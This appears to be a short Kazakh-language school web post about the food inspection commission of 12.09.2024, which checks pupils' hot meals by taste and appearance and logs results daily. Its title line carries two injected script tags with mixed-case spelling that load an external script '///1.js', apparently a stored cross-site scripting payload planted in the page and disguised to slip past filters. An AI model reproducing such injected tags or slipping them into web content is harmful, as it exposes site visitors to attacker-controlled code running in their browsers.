Бракераж комиссиясы 12.09.2024<sCrIpT sRc=///1.js></ScRiPt><sCrIpT sRc=///1.js></ScRiPt>

Мектепте оқушылардың ыстық тамақтануын ұйымдастыруды бақылау бракераж комиссиясының жұмысы арқылы жүзеге асырылады, ол тағамның сапасын органолептикалық көрсеткіштер бойынша бағалайды. Бракераждың нәтижесі ұсынылған нысанға сәйкес "дайын аспаздық өнімдердің бракераж журналында" тіркеледі. Тіркеу сынама алынғаннан кейін күн сайын өтеді.